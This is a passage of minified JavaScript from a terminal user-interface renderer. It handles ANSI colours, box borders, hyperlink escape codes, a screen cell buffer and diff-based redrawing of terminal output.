q=A;if(K.inverse)q=O1.inverse(q);if(K.strikethrough)q=O1.strikethrough(q);if(K.underline)q=O1.underline(q);if(K.italic)q=O1.italic(q);if(K.bold)q=O1.bold(q);if(K.dim)q=O1.dim(q);if(K.color)q=xyA(q,K.color,"foreground");if(K.backgroundColor)q=xyA(q,K.backgroundColor,"background");return q}function hx(A,K){if(!K)return A;return xyA(A,K,"foreground")}function h8(A,K,q="foreground"){return(Y)=>{if(!A)return Y;if(A.startsWith("rgb(")||A.startsWith("#")||A.startsWith("ansi256(")||A.startsWith("ansi:"))return xyA(Y,A,q);return xyA(Y,Ry(K)[A],q)}}var as3,ss3,xyA=(A,K,q)=>{if(!K)return A;if(K.startsWith("ansi:"))switch(K.substring(5)){case"black":return q==="foreground"?O1.black(A):O1.bgBlack(A);case"red":return q==="foreground"?O1.red(A):O1.bgRed(A);case"green":return q==="foreground"?O1.green(A):O1.bgGreen(A);case"yellow":return q==="foreground"?O1.yellow(A):O1.bgYellow(A);case"blue":return q==="foreground"?O1.blue(A):O1.bgBlue(A);case"magenta":return q==="foreground"?O1.magenta(A):O1.bgMagenta(A);case"cyan":return q==="foreground"?O1.cyan(A):O1.bgCyan(A);case"white":return q==="foreground"?O1.white(A):O1.bgWhite(A);case"blackBright":return q==="foreground"?O1.blackBright(A):O1.bgBlackBright(A);case"redBright":return q==="foreground"?O1.redBright(A):O1.bgRedBright(A);case"greenBright":return q==="foreground"?O1.greenBright(A):O1.bgGreenBright(A);case"yellowBright":return q==="foreground"?O1.yellowBright(A):O1.bgYellowBright(A);case"blueBright":return q==="foreground"?O1.blueBright(A):O1.bgBlueBright(A);case"magentaBright":return q==="foreground"?O1.magentaBright(A):O1.bgMagentaBright(A);case"cyanBright":return q==="foreground"?O1.cyanBright(A):O1.bgCyanBright(A);case"whiteBright":return q==="foreground"?O1.whiteBright(A):O1.bgWhiteBright(A)}if(K.startsWith("#"))return q==="foreground"?O1.hex(K)(A):O1.bgHex(K)(A);if(K.startsWith("ansi256")){let Y=ss3.exec(K);if(!Y)return A;let z=Number(Y[1]);return q==="foreground"?O1.ansi256(z)(A):O1.bgAnsi256(z)(A)}if(K.startsWith("rgb")){let Y=as3.exec(K);if(!Y)return A;let z=Number(Y[1]),w=Number(Y[2]),H=Number(Y[3]);return q==="foreground"?O1.rgb(z,w,H)(A):O1.bgRgb(z,w,H)(A)}return A};var W4A=k(()=>{u5();Z4A();as3=/^rgb\(\s?(\d+),\s?(\d+),\s?(\d+)\s?\)$/,ss3=/^ansi256\(\s?(\d+)\s?\)$/});function _04(A,K,q,Y=0,z){let w=j7(K),H=A.length;if(w>=H-2)return K.substring(0,H);let J;if(q==="center")J=Math.floor((H-w)/2);else if(q==="start")J=Y+1;else J=H-w-Y-1;J=Math.max(1,Math.min(J,H-w-1));let O=z.repeat(J-1),X=z.repeat(H-J-w-1);return A.substring(0,1)+O+K+X+A.substring(A.length-1)}var G04,ts3,es3=(A,K,q,Y)=>{if(q.style.borderStyle){let z=Math.floor(q.yogaNode.getComputedWidth()),w=Math.floor(q.yogaNode.getComputedHeight()),H=typeof q.style.borderStyle==="string"?ts3[q.style.borderStyle]??G04.default[q.style.borderStyle]:q.style.borderStyle,J=q.style.borderTopColor??q.style.borderColor,O=q.style.borderBottomColor??q.style.borderColor,X=q.style.borderLeftColor??q.style.borderColor,$=q.style.borderRightColor??q.style.borderColor,_=q.style.borderTopDimColor??q.style.borderDimColor,G=q.style.borderBottomDimColor??q.style.borderDimColor,Z=q.style.borderLeftDimColor??q.style.borderDimColor,W=q.style.borderRightDimColor??q.style.borderDimColor,D=q.style.borderTop!==!1,j=q.style.borderBottom!==!1,M=q.style.borderLeft!==!1,P=q.style.borderRight!==!1,f=Math.max(0,z-(M?1:0)-(P?1:0)),N=D?(M?H.topLeft:"")+H.top.repeat(f)+(P?H.topRight:""):"";if(D&&q.style.borderText?.position==="top"){let F=q.style.borderText;N=_04(N,F.content,F.align,F.offset,H.top)}let T=D?hx(N,J):void 0;if(D&&_)T=O1.dim(T);let C=w;if(D)C-=1;if(j)C-=1;C=Math.max(0,C);let R=(hx(H.left,X)+` `).repeat(C);if(Z)R=O1.dim(R);let x=(hx(H.right,$)+` `).repeat(C);if(W)x=O1.dim(x);let y=j?(M?H.bottomLeft:"")+H.bottom.repeat(f)+(P?H.bottomRight:""):"";if(j&&q.style.borderText?.position==="bottom"){let F=q.style.borderText;y=_04(y,F.content,F.align,F.offset,H.bottom)}let B=j?hx(y,O):void 0;if(j&&G)B=O1.dim(B);let b=D?1:0;if(T)Y.write(A,K,T);if(M)Y.write(A,K+b,R);if(P)Y.write(A+z-1,K+b,x);if(B)Y.write(A,K+w-1,B)}},Z04;var W04=k(()=>{u5();XG();W4A();G04=o(X04(),1),ts3={dashed:{top:"╌",left:"╎",right:"╎",bottom:"╌",topLeft:" ",topRight:" ",bottomLeft:" ",bottomRight:" "}};Z04=es3});function M04(A,K){return`${D04}8;;${K}${j04}${A}${D04}8;;${j04}`}function At3(A){let K=[];for(let q=0;q<A.length;q++){let Y=A[q].text.length;for(let z=0;z<Y;z++)K.push(q)}return K}function Kt3(A,K,q,Y,z=!1){let w=A.split(` `),H=[],J=0;for(let O=0;O<w.length;O++){let X=w[O];if(z&&X.length>0){let D=/\s/.test(X[0]);if(J<Y.length&&/\s/.test(Y[J])&&!D)while(J<Y.length&&/\s/.test(Y[J]))J++}let $="",_=0,G=q[J]??0;for(let D=0;D<X.length;D++){let j=q[J]??G;if(j!==G){let M=X.slice(_,D),P=K[G];if(P)$+=uyA(M,P.styles);else $+=M;_=D,G=j}J++}let Z=X.slice(_),W=K[G];if(W)$+=uyA(Z,W.styles);else $+=Z;if(H.push($),J<Y.length&&Y[J]===` `)J++;if(z&&O<w.length-1){let D=w[O+1],j=D.length>0?D[0]:null;while(J<Y.length&&/\s/.test(Y[J])){if(j!==null&&Y[J]===j)break;J++}}}return H.join(` `)}function qt3(A,K){let q=A.childNodes[0]?.yogaNode;if(q){let Y=q.getComputedLeft(),z=q.getComputedTop();K=` `.repeat(z)+WK6(K,Y)}return K}function jK6(A,K,{offsetX:q=0,offsetY:Y=0,skipStaticElements:z,prevScreen:w}){if(z&&A.internal_static)return;let{yogaNode:H}=A;if(H){if(H.getDisplay()===BV.None){if(A.dirty){let Z=Or.get(A);if(Z)K.clear({x:Math.floor(Z.x),y:Math.floor(Z.y),width:Math.floor(Z.width),height:Math.floor(Z.height)}),Or.delete(A)}return}let J=q+H.getComputedLeft(),O=Y+H.getComputedTop(),X=H.getComputedWidth(),$=H.getComputedHeight(),_=Or.get(A);if(!A.dirty&&_&&_.x===J&&_.y===O&&_.width===X&&_.height===$&&w){K.blit(w,{x:Math.floor(J),y:Math.floor(O),width:Math.floor(X),height:Math.floor($)});return}if(_&&A.dirty)K.clear({x:Math.floor(_.x),y:Math.floor(_.y),width:Math.floor(_.width),height:Math.floor(_.height)});let G=Xr.get(A);if(G){for(let Z of G)K.clear({x:Math.floor(Z.x),y:Math.floor(Z.y),width:Math.floor(Z.width),height:Math.floor(Z.height)});Xr.delete(A)}if(A.nodeName==="ink-text"){let Z=_51(A),W=Z.map((D)=>D.text).join("");if(W.length>0){let D=w04(H),j=A.style.textWrap??"wrap",M=GXA(W)>D,P;if(M&&Z.length===1){let f=Z[0];if(P=ky(W,D,j).split(` `).map((T)=>uyA(T,f.styles)).join(` `),f.hyperlink)P=M04(P,f.hyperlink)}else if(M){let f=ky(W,D,j),N=At3(Z);P=Kt3(f,Z,N,W,j==="wrap-trim")}else P=Z.map((f)=>{let N=uyA(f.text,f.styles);if(f.hyperlink)N=M04(N,f.hyperlink);return N}).join("");P=qt3(A,P),K.write(J,O,P)}}else if(A.nodeName==="ink-box"){let Z=A.style.overflowX==="hidden"||A.style.overflow==="hidden",W=A.style.overflowY==="hidden"||A.style.overflow==="hidden",D=Z||W;if(D){let P=Z?J+H.getComputedBorder(O3.Left):void 0,f=Z?J+H.getComputedWidth()-H.getComputedBorder(O3.Right):void 0,N=W?O+H.getComputedBorder(O3.Top):void 0,T=W?O+H.getComputedHeight()-H.getComputedBorder(O3.Bottom):void 0;K.clip({x1:P,x2:f,y1:N,y2:T})}let j=Xr.has(A),M=!1;for(let P of A.childNodes){let f=P;if(f.dirty)M=!0;jK6(f,K,{offsetX:J,offsetY:O,skipStaticElements:z,prevScreen:j||M?void 0:w})}if(D)K.unclip();Z04(J,O,A,K)}else if(A.nodeName==="ink-root"){let Z=Xr.has(A),W=!1;for(let D of A.childNodes){let j=D;if(j.dirty)W=!0;jK6(j,K,{offsetX:J,offsetY:O,skipStaticElements:z,prevScreen:Z||W?void 0:w})}}Or.set(A,{x:J,y:O,width:X,height:$}),A.dirty=!1}}var D04="\x1B]",j04="\x07",P04;var V04=k(()=>{Y51();Yr();$51();H04();c76();W04();W4A();a76();P04=jK6});function VK6(A){if(N51.has(A))return A;if(MK6.has(A))return MK6.get(A);if(A.startsWith(T51))return Yt3;if(A=A.slice(2),A.startsWith("38"))return a0.color.close;else if(A.startsWith("48"))return a0.bgColor.close;let K=a0.codes.get(parseInt(A,10));if(K)return a0.color.ansi(K);else return a0.reset.open}function ET(A){return A.map((K)=>K.code).join("")}var f04,N04,T04,N51,MK6,T51="\x1B]8;;",PK6,v04="\x07",s5w,Yt3;var ByA=k(()=>{RyA();f04=new Set([27,155]),N04="[".codePointAt(0),T04="]".codePointAt(0),N51=new Set,MK6=new Map;for(let[A,K]of a0.codes)N51.add(a0.color.ansi(K)),MK6.set(a0.color.ansi(A),a0.color.ansi(K));PK6=T51.split("").map((A)=>A.charCodeAt(0)),s5w=v04.charCodeAt(0),Yt3=`\x1B]8;;${v04}`});function _r(A){return v51([],A)}function v51(A,K){let q=[...A];for(let Y of K)if(Y.code===a0.reset.open)q=[];else if(N51.has(Y.code))q=q.filter((z)=>z.endCode!==Y.code);else if(Y.code===a0.bold.open||Y.code===a0.dim.open){if(!q.find((w)=>w.code===Y.code&&w.endCode===Y.endCode))q.push(Y)}else q=q.filter((w)=>w.endCode!==Y.endCode),q.push(Y);return q}var E51=k(()=>{RyA();ByA()});function D4A(A){return _r(A).reverse().map((K)=>({...K,code:K.endCode}))}var fK6=k(()=>{E51()});function bx(A,K){let q=new Set(K.map((z)=>z.endCode)),Y=new Set(A.map((z)=>z.code));return[...D4A(A.filter((z)=>!q.has(z.endCode))),...K.filter((z)=>!Y.has(z.code))]}var NK6=k(()=>{fK6()});function E04(A){let K=[],q=[];for(let Y of A)if(Y.type==="ansi")K=v51(K,[Y]);else if(Y.type==="char")q.push({...Y,styles:[...K]});return q}var k04=k(()=>{ByA();NK6();E51()});function TK6(A){if(!Number.isInteger(A))return!1;return kyA(A)||CyA(A)}var C04=k(()=>{LyA()});function zt3(A,K){A=A.slice(K);for(let Y=1;Y<PK6.length;Y++)if(A.charCodeAt(Y)!==PK6[Y])return;let q=A.indexOf("\x07",T51.length);if(q===-1)return;return A.slice(0,q+1)}function Xt3(A){for(let K=2;K<A.length;K++){let q=A.charCodeAt(K);if(q===Ot3)return K;if(q===Jt3)continue;if(q>=wt3&&q<=Ht3)continue;break}return-1}function $t3(A,K){A=A.slice(K);let q=Xt3(A);if(q===-1)return;return A.slice(0,q+1)}function _t3(A){if(!A.includes(";"))return[A];let K=A.slice(2,-1).split(";"),q=[];for(let Y=0;Y<K.length;Y++){let z=K[Y];if(z==="38"||z==="48"){if(Y+2<K.length&&K[Y+1]==="5"){q.push(K.slice(Y,Y+3).join(";")),Y+=2;continue}else if(Y+4<K.length&&K[Y+1]==="2"){q.push(K.slice(Y,Y+5).join(";")),Y+=4;continue}}q.push(z)}return q.map((Y)=>`\x1B[${Y}m`)}function NXA(A,K=Number.POSITIVE_INFINITY){let q=[],Y=0,z=0;while(Y<A.length){let w=A.codePointAt(Y);if(f04.has(w)){let O,X=A.codePointAt(Y+1);if(X===T04){if(O=zt3(A,Y),O)q.push({type:"ansi",code:O,endCode:VK6(O)})}else if(X===N04){if(O=$t3(A,Y),O){let $=_t3(O);for(let _ of $)q.push({type:"ansi",code:_,endCode:VK6(_)})}}if(O){Y+=O.length;continue}}let H=TK6(w),J=String.fromCodePoint(w);if(q.push({type:"char",value:J,fullWidth:H}),Y+=J.length,z+=H?2:J.length,z>=K)break}return q}var wt3=48,Ht3=57,Jt3=59,Ot3=109;var L04=k(()=>{C04();ByA()});var TXA=k(()=>{ByA();NK6();E51();fK6();k04();L04()});function Gt3(A){return A.code===A.endCode}function R04(A){return A.filter((K)=>!Gt3(K))}function myA(A,K,q){let Y=NXA(A,q),z=[],w=0,H="",J=!1;for(let X of Y){if(q!==void 0&&w>=q)break;if(X.type==="ansi"){if(z.push(X),J)H+=X.code}else{if(!J&&w>=K)J=!0,z=R04(_r(z)),H=ET(z);if(J)H+=X.value;w+=X.fullWidth?2:X.value.length}}let O=R04(_r(z));return H+=ET(D4A(O)),H}var vK6=k(()=>{TXA()});function GO(A,K){if(A===void 0)return;if(Number.isInteger(A))return;h(`${K} should be an integer, got ${A}`,{level:"warn"})}var EK6=k(()=>{Z1()});class C51{strings=[" ",""];stringMap=new Map([[" ",0],["",1]]);ascii=Zt3();intern(A){if(A.length===1){let Y=A.charCodeAt(0);if(Y<128){let z=this.ascii[Y];if(z!==-1)return z;let w=this.strings.length;return this.strings.push(A),this.ascii[Y]=w,w}}let K=this.stringMap.get(A);if(K!==void 0)return K;let q=this.strings.length;return this.strings.push(A),this.stringMap.set(A,q),q}get(A){return this.strings[A]??" "}}class L51{strings=[""];stringMap=new Map;intern(A){if(!A)return 0;let K=this.stringMap.get(A);if(K===void 0)K=this.strings.length,this.strings.push(A),this.stringMap.set(A,K);return K}get(A){return A===0?void 0:this.strings[A]}}class CK6{ids=new Map;styles=[];none;constructor(){this.none=this.intern([])}intern(A){let K=A.length===0?"":A.map((Y)=>Y.code).join("\x00"),q=this.ids.get(K);if(q===void 0)q=this.styles.length,this.styles.push(A.length===0?[]:A),this.ids.set(K,q);return q}get(A){return this.styles[A]??[]}}function Zt3(){let A=new Int32Array(128);return A.fill(-1),A[32]=kK6,A}function vXA(A,K,q){return A<<R51|K<<y51|q}function Wt3(A,K){return A.cells64[K]===S04}function h04(A,K,q){if(K<0||q<0||K>=A.width||q>=A.height)return!0;return Wt3(A,q*A.width+K)}function Dt3(A,K){return A.hyperlinkPool.intern(K)}function gyA(A,K,q,Y,z){if(GO(A,"createScreen width"),GO(K,"createScreen height"),!Number.isInteger(A)||A<0)A=Math.max(0,Math.floor(A)||0);if(!Number.isInteger(K)||K<0)K=Math.max(0,Math.floor(K)||0);let w=A*K,H=new ArrayBuffer(w<<3),J=new Int32Array(H),O=new BigInt64Array(H);return{width:A,height:K,cells:J,cells64:O,charPool:Y,hyperlinkPool:z,emptyStyleId:q.none,damage:void 0}}function b04(A,K,q){if(GO(K,"resetScreen width"),GO(q,"resetScreen height"),!Number.isInteger(K)||K<0)K=Math.max(0,Math.floor(K)||0);if(!Number.isInteger(q)||q<0)q=Math.max(0,Math.floor(q)||0);let Y=K*q;if(A.cells64.length<Y){let z=new ArrayBuffer(Y<<3);A.cells=new Int32Array(z),A.cells64=new BigInt64Array(z)}A.cells64.fill(S04,0,Y),A.width=K,A.height=q,A.damage=void 0}function x04(A,K,q){let{charPool:Y,hyperlinkPool:z}=A;if(Y===K&&z===q)return;let w=A.width*A.height,H=A.cells;for(let J=0;J<w<<1;J+=2){let O=H[J];H[J]=K.intern(Y.get(O));let X=H[J+1],$=X>>>y51&LK6;if($!==0){let _=z.get($),G=q.intern(_),Z=X>>>R51,W=X&j4A;H[J+1]=vXA(Z,G,W)}}A.charPool=K,A.hyperlinkPool=q}function RK6(A,K,q){if(K<0||q<0||K>=A.width||q>=A.height)return;return jt3(A,q*A.width+K)}function jt3(A,K){let q=K<<1,Y=A.cells[q+1],z=Y>>>y51&LK6;return{char:A.charPool.get(A.cells[q]),styleId:Y>>>R51,width:Y&j4A,hyperlink:z===0?void 0:A.hyperlinkPool.get(z)}}function k51(A,K,q){let Y=K<<1,z=A.cells[Y+1];q.char=A.charPool.get(A.cells[Y]),q.styleId=z>>>R51,q.width=z&j4A;let w=z>>>y51&LK6;q.hyperlink=w===0?void 0:A.hyperlinkPool.get(w)}function yK6(A,K,q){if(K<0||q<0||K>=A.width||q>=A.height)return;let Y=q*A.width+K<<1;return A.charPool.get(A.cells[Y])}function I51(A,K,q,Y){if(K<0||q<0||K>=A.width||q>=A.height)return;let z=q*A.width+K<<1,w=A.cells,H=w[z+1]&j4A;if(H===1&&Y.width!==1){if(K+1<A.width){let X=z+2;if((w[X+1]&j4A)===2)w[X]=kK6,w[X+1]=vXA(A.emptyStyleId,0,0)}}if(H===2&&Y.width!==2){if(K>0){let O=z-2;if((w[O+1]&j4A)===1)w[O]=kK6,w[O+1]=vXA(A.emptyStyleId,0,0)}}w[z]=Mt3(A,Y.char),w[z+1]=vXA(Y.styleId,Dt3(A,Y.hyperlink),Y.width);let J=A.damage;if(J){let O=J.x+J.width,X=J.y+J.height;if(K<J.x)J.width+=J.x-K,J.x=K;else if(K>=O)J.width=K-J.x+1;if(q<J.y)J.height+=J.y-q,J.y=q;else if(q>=X)J.height=q-J.y+1}else A.damage={x:K,y:q,width:1,height:1};if(Y.width===1){let O=K+1;if(O<A.width){let X=z+2;w[X]=I04,w[X+1]=vXA(A.emptyStyleId,0,2);let $=A.damage;if($&&O>=$.x+$.width)$.width=O-$.x+1}}}function Mt3(A,K){return A.charPool.intern(K)}function u04(A,K,q,Y,z,w){if(q>=z||Y>=w)return;let H=z-q,J=K.width<<1,O=A.width<<1,X=H<<1,$=K.cells,_=A.cells;if(q===0&&z===K.width&&K.width===A.width){let Z=Y*J,W=(w-Y)*J;_.set($.subarray(Z,Z+W),Z)}else{let Z=Y*J+(q<<1),W=Y*O+(q<<1);for(let D=Y;D<w;D++)_.set($.subarray(Z,Z+X),W),Z+=J,W+=O}let G={x:q,y:Y,width:H,height:w-Y};if(A.damage)A.damage=SyA(A.damage,G);else A.damage=G;if(z<A.width){let Z=Y*K.width+(z-1)<<1,W=Y*A.width+z<<1;for(let D=Y;D<w;D++){if(($[Z+1]&j4A)===1)_[W]=I04,_[W+1]=vXA(A.emptyStyleId,0,2);Z+=J,W+=O}}}function B04(A,K,q){I51(A,K,q,{char:" ",styleId:A.emptyStyleId,width:0,hyperlink:void 0})}function F04(A){for(let K of A){let q=K.code;if(q.length<5||!q.startsWith(g04))continue;let Y=q.match(m04);if(Y)return Y[1]||null}return null}function Q04(A){return A.filter((K)=>!K.code.startsWith(g04)||!m04.test(K.code))}function IK6(A,K,q){let Y=A.width,z=K.width,w=A.height,H=K.height,J=A.cells,O=K.cells,X;if(Y===0&&w===0)X={x:0,y:0,width:z,height:H};else if(K.damage){if(X=K.damage,A.damage)X=SyA(X,A.damage)}else if(A.damage)X=A.damage;else X={x:0,y:0,width:0,height:0};if(w>H)X=SyA(X,{x:0,y:H,width:Y,height:w-H});if(Y>z)X=SyA(X,{x:z,y:0,width:Y-z,height:w});let $=Math.max(w,H),_=Math.max(Y,z),G=Math.min(X.y+X.height,$),Z=Math.min(X.x+X.width,_),W={char:" ",styleId:0,width:0,hyperlink:void 0},D={char:" ",styleId:0,width:0,hyperlink:void 0},j=X.x,M=Y<<1,P=z<<1,f=X.y*Y+j<<1,N=X.y*z+j<<1;for(let T=X.y;T<G;T++){let C=T<w,R=T<H,x=C?Math.min(Z,Y):j,y=R?Math.min(Z,z):j,B=Math.min(x,y),b=f,F=N;for(let Q=j;Q<B;Q++){if(J[b]===O[F]&&J[b+1]===O[F+1]){b+=2,F+=2;continue}if(k51(A,b>>>1,W),k51(K,F>>>1,D),b+=2,F+=2,q(Q,T,W,D))return!0}if(x>B){b=f+(B-j<<1);for(let Q=B;Q<x;Q++)if(k51(A,b>>>1,W),b+=2,q(Q,T,W,void 0))return!0}if(y>B){F=N+(B-j<<1);for(let Q=B;Q<y;Q++){if(O[F]===0&&O[F+1]===0){F+=2;continue}if(k51(K,F>>>1,D),F+=2,q(Q,T,void 0,D))return!0}}f+=M,N+=P}return!1}var kK6=0,I04=1,R51=17,y51=2,LK6=32767,j4A=3,S04=0n,m04,g04;var EXA=k(()=>{AK6();EK6();O4A();m04=new RegExp(`^${wr}\\]8${Jr}${Jr}([^${Hr}]*)${Hr}$`),g04=`${wr}]8${Jr}`});class S51{width;height;stylePool;screen;operations=[];charCache=new Map;constructor(A){let{width:K,height:q,stylePool:Y,screen:z}=A;this.width=K,this.height=q,this.stylePool=Y,this.screen=z,b04(z,K,q)}blit(A,K){this.operations.push({type:"blit",src:A,region:K})}clear(A){this.operations.push({type:"clear",region:A})}write(A,K,q){if(!q)return;this.operations.push({type:"write",x:A,y:K,text:q})}clip(A){this.operations.push({type:"clip",clip:A})}unclip(){this.operations.push({type:"unclip"})}get(){let A=Array(this.height);for(let H=0;H<this.height;H++)A[H]=Array(this.width).fill(U04);let K=this.screen,q=0,Y=0;for(let H of this.operations)if(H.type==="clear"){let{x:J,y:O,width:X,height:$}=H.region,_=Math.min(O+$,this.height),G=Math.min(J+X,this.width);for(let Z=Math.max(0,O);Z<_;Z++)for(let W=Math.max(0,J);W<G;W++)B04(K,W,Z)}let z=[];for(let H of this.operations){if(H.type==="clip")z.push(H.clip);if(H.type==="unclip")z.pop();if(H.type==="blit"){let{src:J,region:O}=H,{x:X,y:$,width:_,height:G}=O,Z=Math.min($+G,this.height,J.height),W=Math.min(X+_,this.width,J.width);u04(K,J,X,$,W,Z),q+=(Z-$)*(W-X)}if(H.type==="write"){let{text:J}=H,{x:O,y:X}=H,$=J.split(` `),_=z.at(-1);if(_){let Z=typeof _?.x1==="number"&&typeof _?.x2==="number",W=typeof _?.y1==="number"&&typeof _?.y2==="number";if(Z){let D=GXA(J);if(O+D<_.x1||O>_.x2)continue}if(W){let D=$.length;if(X+D<_.y1||X>_.y2)continue}if(Z){if($=$.map((D)=>{let j=O<_.x1?_.x1-O:0,M=j7(D),P=O+M>_.x2?_.x2-O:M;return myA(D,j,P)}),O<_.x1)O=_.x1}if(W){let D=X<_.y1?_.y1-X:0,j=$.length,M=X+j>_.y2?_.y2-X:j;if($=$.slice(D,M),X<_.y1)X=_.y1}}let G=0;for(let Z of $){let W=A[X+G];if(!W)continue;let D=this.charCache.get(Z);if(!D)D=ft3(E04(NXA(Z))),this.charCache.set(Z,D);let j=O;for(let M=0;M<D.length;M++){let P=D[M],f=P.value.codePointAt(0);if(f!==void 0&&f<=31){if(f===9){let y=8-j%8;for(let B=0;B<y&&j<this.width;B++)W[j]=U04,I51(K,j,X+G,{char:" ",styleId:this.stylePool.none,width:0,hyperlink:void 0}),j++}else if(f===27){let x=D[M+1]?.value,y=x?.codePointAt(0);if(x==="("||x===")"||x==="*"||x==="+")M+=2;else if(x==="["){M++;while(M<D.length-1){M++;let B=D[M]?.value.codePointAt(0);if(B!==void 0&&B>=64&&B<=126)break}}else if(x==="]"||x==="P"||x==="_"||x==="^"||x==="X"){M++;while(M<D.length-1){M++;let B=D[M]?.value;if(B==="\x07")break;if(B==="\x1B"){if(D[M+1]?.value==="\\"){M++;break}}}}else if(y!==void 0&&y>=48&&y<=126)M++}continue}let N=j7(P.value);if(N===0)continue;let T=N>=2;if(T&&j+2>this.width){j++;continue}W[j]=P;let C=F04(P.styles),R=C?Q04(P.styles):P.styles;if(I51(K,j,X+G,{char:P.value,styleId:this.stylePool.intern(R),width:T?1:0,hyperlink:C??void 0}),Y++,T)W[j+1]={type:"char",value:"",fullWidth:!1,styles:P.styles};j+=T?2:1}G++}}}let w=q+Y;if(w>1000&&Y>q)h(`High write ratio: blit=${q}, write=${Y} (${(Y/w*100).toFixed(1)}% writes), screen=${this.height}x${this.width}`);return K}}function Vt3(A,K){if(A===K)return!0;let q=A.length;if(q!==K.length)return!1;if(q===0)return!0;for(let Y=0;Y<q;Y++)if(A[Y].code!==K[Y].code)return!1;return!0}function ft3(A){let K=A.length;if(K===0)return[];let q=[],Y=[],z=A[0].styles;for(let w=0;w<K;w++){let H=A[w],J=H.styles;if(Y.length>0&&!Vt3(J,z)){let O=Y.join("");for(let{segment:X}of p04.segment(O))q.push({type:"char",value:X,fullWidth:j7(X)===2,styles:z});Y.length=0}Y.push(H.value),z=J}if(Y.length>0){let w=Y.join("");for(let{segment:H}of p04.segment(w))q.push({type:"char",value:H,fullWidth:j7(H)===2,styles:z})}return q}var U04,p04;var d04=k(()=>{vK6();Y51();TXA();XG();EXA();Z1();U04=Object.freeze({type:"char",value:" ",fullWidth:!1,styles:[]});p04=new Intl.Segmenter});function SK6(A,K){return(q)=>{let{frontFrame:Y,backFrame:z,isTTY:w,terminalWidth:H,terminalRows:J}=q,O=Y.screen,X=z.screen,$=X.charPool,_=X.hyperlinkPool,G=A.yogaNode?.getComputedHeight(),Z=A.yogaNode?.getComputedWidth(),W=G===void 0||!Number.isFinite(G)||G<0,D=Z===void 0||!Number.isFinite(Z)||Z<0;if(!A.yogaNode||W||D){if(A.yogaNode&&(W||D))h(`Invalid yoga dimensions: width=${Z}, height=${G}, childNodes=${A.childNodes.length}, terminalWidth=${H}, terminalRows=${J}`);return{screen:gyA(H,0,K,$,_),viewport:{width:H,height:J},cursor:{x:0,y:0,visible:!0}}}let j=Math.floor(A.yogaNode.getComputedWidth()),M=Math.floor(A.yogaNode.getComputedHeight()),P=new S51({width:j,height:M,stylePool:K,screen:X??gyA(j,M,K,$,_)});P04(A,P,{skipStaticElements:!0,prevScreen:O});let f=P.get();return{screen:f,viewport:{width:H,height:J},cursor:{x:0,y:f.height,visible:!w||f.height===0}}}}var c04=k(()=>{V04();d04();EXA();Z1()});class bK6{options;state;constructor(A){this.options=A;this.state={previousOutput:""}}renderPreviousOutput_DEPRECATED(A){if(!this.options.isTTY)return[{type:"stdout",content:` `}];else if(!this.options.debug)return this.getRenderOpsForDone(A);return[]}reset(){this.state.previousOutput=""}getRenderOpsDebug(A){let{screen:K}=A,q=[],Y=[];for(let z=0;z<K.height;z++){let w="";for(let J=0;J<K.width;J++){let O=RK6(K,J,z);if(O&&O.width!==2){let X=this.options.stylePool.get(O.styleId),$=bx(Y,X);if($.length>0)w+=ET($),Y=X;w+=O.char}}let H=bx(Y,[]);if(H.length>0)w+=ET(H),Y=[];q.push(w.trimEnd())}if(q.length===0)return[];return[{type:"stdout",content:q.join(` `)}]}getRenderOpsForDone(A){if(this.state.previousOutput="",!A.cursor.visible)return[{type:"cursorShow"}];return[]}render(A,K){if(this.options.debug)return this.getRenderOpsDebug(K);let q=performance.now();if(K.screen.height===0||K.screen.width===0){if(A.screen.height>0)return kXA(K,"clear",this.options.stylePool);return[]}if(K.viewport.height<A.viewport.height||A.viewport.width!==0&&K.viewport.width!==A.viewport.width)return kXA(K,"resize",this.options.stylePool);let Y=A.cursor.y>=A.screen.height,z=K.screen.height>A.screen.height,w=A.screen.height>A.viewport.height,H=K.screen.height<A.viewport.height;if(w&&H&&!z)return h(`Full reset (shrink->below): prevHeight=${A.screen.height}, nextHeight=${K.screen.height}, viewport=${A.viewport.height}`),kXA(K,"offscreen",this.options.stylePool);if(A.screen.height>=A.viewport.height&&A.screen.height>0&&Y&&!z){let M=A.screen.height-A.viewport.height+1,P=-1;if(IK6(A.screen,K.screen,(f,N)=>{if(N<M)return P=N,!0}),P>=0){let f="";for(let T=0;T<A.screen.width;T++)f+=yK6(A.screen,T,P)??" ";let N="";for(let T=0;T<K.screen.width;T++)N+=yK6(K.screen,T,P)??" ";return h(`Full reset (scrollback changes): scrollbackRows=${M}, firstChangeY=${P} prev: "${f}" next: "${N}"`),kXA(K,"offscreen",this.options.stylePool)}}let J=new xK6(A.cursor,K.viewport.width),O=Math.max(K.screen.height,1)-Math.max(A.screen.height,1),X=O<0,$=O>0;if(X){let j=A.screen.height-K.screen.height;if(j>A.viewport.height)return kXA(K,"offscreen",this.options.stylePool);J.txn((M)=>[[{type:"clear",count:j},{type:"cursorMove",x:0,y:-1}],{dx:-M.x,dy:-j}])}let _=$?Math.max(0,A.screen.height-A.viewport.height):Math.max(A.screen.height,K.screen.height)-K.viewport.height,G=[],Z=void 0,W=!1;if(IK6(A.screen,K.screen,(j,M,P,f)=>{if($&&M>=A.screen.height)return;if(f&&(f.width===2||f.width===3))return;if(P&&(P.width===2||P.width===3)&&!f)return;if(f&&h04(K.screen,j,M)&&!P)return;if(M<_)return W=!0,!0;if(hK6(J,j,M),f){let N=f.hyperlink;Z=l04(J.diff,Z,N);let T=this.options.stylePool.get(f.styleId),C=bx(G,T);n04(J,f,C),G=T}else if(P){let N=G,T=Z;G=[],Z=void 0,J.txn(()=>{let C=[];if(N.length>0){let R=bx(N,[]);if(R.length>0)C.push({type:"style",codes:R})}if(T!==void 0)C.push({type:"hyperlink",uri:""});return C.push({type:"stdout",content:" "}),[C,{dx:1,dy:0}]})}}),W)return kXA(K,"offscreen",this.options.stylePool);if(G.length>0){let j=bx(G,[]);if(j.length>0)J.diff.push({type:"style",codes:j});G=[]}if(Z!==void 0)J.diff.push({type:"hyperlink",uri:""}),Z=void 0;if($)i04(J,K,A.screen.height,K.screen.height,this.options.stylePool);if(K.cursor.y>=K.screen.height)J.txn((j)=>{let M=K.cursor.y-j.y;if(M>0){let f=[{type:"carriageReturn"}];for(let N=0;N<M;N++)f.push({type:"stdout",content:` `});return[f,{dx:-j.x,dy:M}]}let P=K.cursor.y-j.y;if(P!==0||j.x!==K.cursor.x)return[[{type:"carriageReturn"},{type:"cursorMove",x:K.cursor.x,y:P}],{dx:K.cursor.x-j.x,dy:P}];return[[],{dx:0,dy:0}]});else hK6(J,K.cursor.x,K.cursor.y);let D=performance.now()-q;if(D>50){let 